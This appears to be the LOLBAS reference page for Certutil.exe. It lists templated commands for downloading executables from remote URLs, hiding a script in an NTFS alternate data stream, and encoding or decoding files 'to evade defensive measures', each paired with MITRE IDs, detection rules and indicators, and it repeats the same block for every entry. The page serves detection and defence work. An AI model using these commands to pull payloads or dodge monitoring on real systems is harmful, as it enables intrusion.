Certutil.exe

Download and save an executable to disk in the current folder.

Use Download file from Internet

certutil.exe -urlcache -f {REMOTEURL:.exe} {PATH:.exe}

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Download

MITRE

T1105

Detection

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_download.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_encode.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_decode.yml

Elastic: github.com/elastic/detection-rules/blob/4a11ef9514938e7a7e32cf5f379e975cebf5aed3/rules/windows/defense_evasion_suspicious_certutil_commands.toml

Elastic: github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/command_and_control_certutil_network_connection.toml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_download_with_urlcache_and_split_arguments.yml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_download_with_verifyctl_and_split_arguments.yml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_with_decode_argument.yml

IOC: Certutil.exe creating new files on disk

IOC: Useragent Microsoft-CryptoAPI/10.0

IOC: Useragent CertUtil URL Agent

Refs

twitter.com/Moriarty_Meng/status/984380793383370752

twitter.com/mattifestation/status/620107926288515072

twitter.com/egre55/status/1087685529016193025

www.hexacorn.com/blog/2020/08/23/certutil-one-more-gui-lolbin/

lolbas-project.github.io/lolbas/Binaries/Certutil/

Download and save an executable to disk in the current folder when a file path is specified, or `%LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\<hash>` when not.

Use Download file from Internet

certutil.exe -verifyctl -f {REMOTEURL:.exe} {PATH:.exe}

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Download

MITRE

T1105

Detection

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_download.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_encode.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_decode.yml

Elastic: github.com/elastic/detection-rules/blob/4a11ef9514938e7a7e32cf5f379e975cebf5aed3/rules/windows/defense_evasion_suspicious_certutil_commands.toml

Elastic: github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/command_and_control_certutil_network_connection.toml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_download_with_urlcache_and_split_arguments.yml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_download_with_verifyctl_and_split_arguments.yml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_with_decode_argument.yml

IOC: Certutil.exe creating new files on disk

IOC: Useragent Microsoft-CryptoAPI/10.0

IOC: Useragent CertUtil URL Agent

Refs

twitter.com/Moriarty_Meng/status/984380793383370752

twitter.com/mattifestation/status/620107926288515072

twitter.com/egre55/status/1087685529016193025

www.hexacorn.com/blog/2020/08/23/certutil-one-more-gui-lolbin/

lolbas-project.github.io/lolbas/Binaries/Certutil/

Download and save a .ps1 file to an Alternate Data Stream (ADS).

Use Download file from Internet and save it in an NTFS Alternate Data Stream

certutil.exe -urlcache -f {REMOTEURL:.ps1} {PATH_ABSOLUTE}:ttt

Evidence

Upstream reference

Environment

Local host

Context

user

Native

ADS

MITRE

T1564.004

Detection

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_download.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_encode.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_decode.yml

Elastic: github.com/elastic/detection-rules/blob/4a11ef9514938e7a7e32cf5f379e975cebf5aed3/rules/windows/defense_evasion_suspicious_certutil_commands.toml

Elastic: github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/command_and_control_certutil_network_connection.toml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_download_with_urlcache_and_split_arguments.yml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_download_with_verifyctl_and_split_arguments.yml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_with_decode_argument.yml

IOC: Certutil.exe creating new files on disk

IOC: Useragent Microsoft-CryptoAPI/10.0

IOC: Useragent CertUtil URL Agent

Refs

twitter.com/Moriarty_Meng/status/984380793383370752

twitter.com/mattifestation/status/620107926288515072

twitter.com/egre55/status/1087685529016193025

www.hexacorn.com/blog/2020/08/23/certutil-one-more-gui-lolbin/

lolbas-project.github.io/lolbas/Binaries/Certutil/

Download and save an executable to `%LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\<hash>`.

Use Download file from Internet

certutil.exe -URL {REMOTEURL:.exe}

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Download

MITRE

T1105

Detection

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_download.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_encode.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_decode.yml

Elastic: github.com/elastic/detection-rules/blob/4a11ef9514938e7a7e32cf5f379e975cebf5aed3/rules/windows/defense_evasion_suspicious_certutil_commands.toml

Elastic: github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/command_and_control_certutil_network_connection.toml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_download_with_urlcache_and_split_arguments.yml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_download_with_verifyctl_and_split_arguments.yml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_with_decode_argument.yml

IOC: Certutil.exe creating new files on disk

IOC: Useragent Microsoft-CryptoAPI/10.0

IOC: Useragent CertUtil URL Agent

Refs

twitter.com/Moriarty_Meng/status/984380793383370752

twitter.com/mattifestation/status/620107926288515072

twitter.com/egre55/status/1087685529016193025

www.hexacorn.com/blog/2020/08/23/certutil-one-more-gui-lolbin/

lolbas-project.github.io/lolbas/Binaries/Certutil/

Command to encode a file using Base64

Use Encode files to evade defensive measures

certutil -encode {PATH} {PATH:.base64}

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Encode

MITRE

T1027.013

Detection

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_download.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_encode.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_decode.yml

Elastic: github.com/elastic/detection-rules/blob/4a11ef9514938e7a7e32cf5f379e975cebf5aed3/rules/windows/defense_evasion_suspicious_certutil_commands.toml

Elastic: github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/command_and_control_certutil_network_connection.toml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_download_with_urlcache_and_split_arguments.yml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_download_with_verifyctl_and_split_arguments.yml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_with_decode_argument.yml

IOC: Certutil.exe creating new files on disk

IOC: Useragent Microsoft-CryptoAPI/10.0

IOC: Useragent CertUtil URL Agent

Refs

twitter.com/Moriarty_Meng/status/984380793383370752

twitter.com/mattifestation/status/620107926288515072

twitter.com/egre55/status/1087685529016193025

www.hexacorn.com/blog/2020/08/23/certutil-one-more-gui-lolbin/

lolbas-project.github.io/lolbas/Binaries/Certutil/

Command to decode a Base64 encoded file.

Use Decode files to evade defensive measures

certutil -decode {PATH:.base64} {PATH}

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Decode

MITRE

T1140

Detection

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_download.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_encode.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_decode.yml

Elastic: github.com/elastic/detection-rules/blob/4a11ef9514938e7a7e32cf5f379e975cebf5aed3/rules/windows/defense_evasion_suspicious_certutil_commands.toml

Elastic: github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/command_and_control_certutil_network_connection.toml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_download_with_urlcache_and_split_arguments.yml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_download_with_verifyctl_and_split_arguments.yml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_with_decode_argument.yml

IOC: Certutil.exe creating new files on disk

IOC: Useragent Microsoft-CryptoAPI/10.0

IOC: Useragent CertUtil URL Agent

Refs

twitter.com/Moriarty_Meng/status/984380793383370752

twitter.com/mattifestation/status/620107926288515072

twitter.com/egre55/status/1087685529016193025

www.hexacorn.com/blog/2020/08/23/certutil-one-more-gui-lolbin/

lolbas-project.github.io/lolbas/Binaries/Certutil/

Command to decode a hexadecimal-encoded file.

Use Decode files to evade defensive measures

certutil -decodehex {PATH:.hex} {PATH}

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Decode

MITRE

T1140

Detection

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_download.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_encode.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_decode.yml

Elastic: github.com/elastic/detection-rules/blob/4a11ef9514938e7a7e32cf5f379e975cebf5aed3/rules/windows/defense_evasion_suspicious_certutil_commands.toml

Elastic: github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/command_and_control_certutil_network_connection.toml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_download_with_urlcache_and_split_arguments.yml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_download_with_verifyctl_and_split_arguments.yml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_with_decode_argument.yml

IOC: Certutil.exe creating new files on disk

IOC: Useragent Microsoft-CryptoAPI/10.0

IOC: Useragent CertUtil URL Agent

Refs

twitter.com/Moriarty_Meng/status/984380793383370752

twitter.com/mattifestation/status/620107926288515072

twitter.com/egre55/status/1087685529016193025

www.hexacorn.com/blog/2020/08/23/certutil-one-more-gui-lolbin/

lolbas-project.github.io/lolbas/Binaries/Certutil/